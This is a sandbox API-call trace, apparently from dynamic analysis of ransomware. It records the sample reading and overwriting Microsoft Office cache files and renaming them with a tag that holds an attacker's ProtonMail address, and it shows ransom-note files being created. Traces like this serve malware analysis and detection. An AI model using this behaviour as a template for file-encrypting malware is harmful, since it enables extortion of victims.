[0052.441] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.442] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.442] GetProcessHeap () returned 0x2e0000
[0052.442] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.442] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.442] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.443] CloseHandle (hObject=0x10c) returned 1
[0052.443] GetProcessHeap () returned 0x2e0000
[0052.443] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.443] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0052.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.443] GetProcessHeap () returned 0x2e0000
[0052.443] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.443] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1
[0052.443] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 76
[0052.443] StrStrIW (lpFirst="setup.chm", lpSrch="SDfghjkl") returned 0x0
[0052.443] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.444] GetProcessHeap () returned 0x2e0000
[0052.444] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.444] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.446] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.446] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0052.446] GetProcessHeap () returned 0x2e0000
[0052.446] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.446] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.446] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.447] CloseHandle (hObject=0x10c) returned 1
[0052.447] GetProcessHeap () returned 0x2e0000
[0052.447] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.447] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0052.447] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.448] GetProcessHeap () returned 0x2e0000
[0052.448] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.448] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0052.448] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0052.448] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0052.448] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.449] GetProcessHeap () returned 0x2e0000
[0052.449] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.449] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2488, lpOverlapped=0x0) returned 1
[0052.451] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffdb78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.451] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2488, lpOverlapped=0x0) returned 1
[0052.451] GetProcessHeap () returned 0x2e0000
[0052.451] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.451] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.451] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.451] CloseHandle (hObject=0x10c) returned 1
[0052.451] GetProcessHeap () returned 0x2e0000
[0052.451] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.451] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0052.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.452] GetProcessHeap () returned 0x2e0000
[0052.452] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.452] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1
[0052.452] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 78
[0052.452] StrStrIW (lpFirst="ShellUI.MST", lpSrch="SDfghjkl") returned 0x0
[0052.452] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.452] GetProcessHeap () returned 0x2e0000
[0052.452] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0052.452] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0xe00, lpOverlapped=0x0) returned 1
[0052.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0052.454] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0xe00, lpOverlapped=0x0) returned 1
[0052.454] GetProcessHeap () returned 0x2e0000
[0052.454] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0052.454] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0052.454] CloseHandle (hObject=0x10c) returned 1
[0052.454] GetProcessHeap () returned 0x2e0000
[0052.454] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.454] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0052.454] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0052.455] GetProcessHeap () returned 0x2e0000
[0052.455] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0052.455] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0
[0052.455] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0052.455] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0052.455] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0052.456] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0052.456] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0052.456] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0052.456] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0052.456] CloseHandle (hObject=0x10c) returned 1
[0052.457] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0052.457] GetProcessHeap () returned 0x2e0000
[0052.457] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0052.457] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1
[0052.457] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned 66
[0052.457] GetProcessHeap () returned 0x2e0000
[0052.457] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0052.457] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*") returned 68
[0052.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0052.494] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.") returned 68
[0052.494] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0052.494] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0052.494] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0052.494] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\..") returned 69
[0052.494] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0052.494] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0052.494] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
[0052.494] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 79
[0052.494] GetProcessHeap () returned 0x2e0000
[0052.494] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0052.494] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*") returned 81
[0052.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x300570
[0053.453] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\.") returned 81
[0053.453] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0053.454] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\..") returned 82
[0053.454] FindNextFileW (in: hFindFile=0x300570, lpFindFileData=0xeceea4 | out: lpFindFileData=0xeceea4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
[0053.454] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 93
[0053.454] StrStrIW (lpFirst="AccessMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0053.454] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0053.534] GetProcessHeap () returned 0x2e0000
[0053.534] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x358790
[0053.534] ReadFile (in: hFile=0x110, lpBuffer=0x358790, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesRead=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0053.540] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0053.541] WriteFile (in: hFile=0x110, lpBuffer=0x358790*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x358790*, lpNumberOfBytesWritten=0xecee80*=0x2800, lpOverlapped=0x0) returned 1
[0053.556] GetProcessHeap () returned 0x2e0000
[0053.556] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x358790 | out: hHeap=0x2e0000) returned 1
[0053.556] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0053.684] WriteFile (in: hFile=0x110, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecee80, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecee80*=0x100, lpOverlapped=0x0) returned 1
[0053.857] CloseHandle (hObject=0x110) returned 1
[0053.863] GetProcessHeap () returned 0x2e0000
[0053.863] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x358790
[0053.863] wnsprintfW (in: pszDest=0x358790, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 135
[0053.863] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
